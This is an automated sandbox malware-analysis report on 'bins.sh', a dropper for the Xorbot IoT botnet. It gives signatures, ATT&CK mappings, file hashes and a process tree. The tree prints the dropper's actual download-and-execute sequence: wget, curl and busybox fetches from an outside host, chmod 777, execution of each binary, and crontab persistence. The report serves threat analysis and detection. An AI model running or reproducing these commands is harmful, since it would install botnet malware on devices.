xorbot | 817f994e9e4bee4864261a902c6df088048aedd4532775b98c065d3f404bcce5

Analysis

max time kernel
96s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
05/01/2025, 13:30

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General

Target

bins.sh
Size

10KB
MD5

91c2144bd8f409393240434d81002662
SHA1

a2eb7da173ffc5f293f72d79735c61623ececcd5
SHA256

817f994e9e4bee4864261a902c6df088048aedd4532775b98c065d3f404bcce5
SHA512

56148bba9d79076971845c8b68eb9e6e37f4edbc768d43f9dcd368c8ff0ae4ba3d7cb88fd45aacc535c107cca313b1bef58dc598cd76ecec06ceca4b49aba4fb
SSDEEP

192:QiarAUrGnMAryIlTEvEnEkEREdE0qFvUUEvEnEkEREdE3WMAryIl9iarAUs:2GB1qFvUXUA

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 6 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot
behavioral3/files/fstream-13.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (802) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
878	chmod
889	chmod
897	chmod
905	chmod
771	chmod
824	chmod
862	chmod
870	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	772	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv	825	CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub	863	oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ	871	eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
/tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa	879	A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
/tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2	890	mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
/tmp/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b	898	QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
/tmp/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB	906	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB

Renames itself 1 IoCs

pid	Process
907	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ARjspF	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/912/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/917/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/949/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/952/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/966/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/975/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1004/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1017/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/4/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/76/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/80/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/934/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/935/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/940/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/963/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/989/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/359/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/736/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/985/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/998/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1011/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/738/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/7/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/8/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/14/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/72/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/123/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/921/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/932/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/959/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/977/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/978/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/986/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/942/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/995/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/172/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/698/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/927/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/943/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/953/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1010/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1027/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1007/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/21/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/153/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/914/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/915/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/926/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/928/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1006/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1016/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/19/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/245/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/960/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/1014/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/74/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/79/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/929/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
File opened for reading	/proc/945/cmdline	Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB

System Network Configuration Discovery 1 TTPs 26 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
867	curl
869	busybox
874	wget
882	wget
893	wget
896	busybox
901	wget
775	wget
902	curl
770	busybox
866	wget
875	curl
877	busybox
886	curl
888	busybox
904	busybox
766	curl
916	wget
776	curl
861	busybox
894	curl
744	wget
828	wget
829	curl
917	curl
790	busybox

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ	curl
File opened for modification	/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ	busybox
File opened for modification	/tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2	wget
File opened for modification	/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv	wget
File opened for modification	/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv	curl
File opened for modification	/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv	busybox
File opened for modification	/tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa	wget
File opened for modification	/tmp/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b	curl
File opened for modification	/tmp/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b	busybox
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	busybox
File opened for modification	/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub	wget
File opened for modification	/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub	curl
File opened for modification	/tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2	curl
File opened for modification	/tmp/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b	wget
File opened for modification	/tmp/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB	wget
File opened for modification	/tmp/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB	curl
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	wget
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	curl
File opened for modification	/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub	busybox
File opened for modification	/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ	wget
File opened for modification	/tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa	curl
File opened for modification	/tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:739
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod 777 Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  ./Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Executes dropped EXE
  PID:772
- /bin/rm
  rm Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  PID:774
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:775
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:776
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  ./CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:861
- /bin/chmod
  chmod 777 oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  ./oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
  2⤵
  PID:865
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod 777 eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  ./eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
  2⤵
  PID:873
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
  2⤵
  - System Network Configuration Discovery
  PID:877
- /bin/chmod
  chmod 777 A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
  ./A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod 777 mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
  ./mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
  2⤵
  PID:892
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:893
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:896
- /bin/chmod
  chmod 777 QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
  ./QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
  ./Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:906
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:908
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:909
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:910
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:911
- /bin/rm
  rm Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
  2⤵
  PID:913
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ehepj5z6CmYSw8cXZ8gzxB5SIyPnW8nyct
  2⤵
  - System Network Configuration Discovery
  PID:916
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ehepj5z6CmYSw8cXZ8gzxB5SIyPnW8nyct
  2⤵
  - System Network Configuration Discovery
  PID:917

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

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/tmp/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

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/tmp/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/var/spool/cron/crontabs/tmp.ARjspF

Filesize
210B

MD5
2539a3f7c6c151fa5d52f0041c3d9b20

SHA1
5a28ff4bdc4d99aa769f4f637915684c1033f702

SHA256
297b0770f9fb9bb43ea1a01723adcfe922dbb4715a77cc024876ff7ed7698b3f

SHA512
d4386238f71d20316821ac4c9b660b75d6a31413cdfe79bbe2c558f96e9ee709aeab781ba860478fe393f9b8623509d58c57f8ef95a76ff2b20941753a5bb59a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads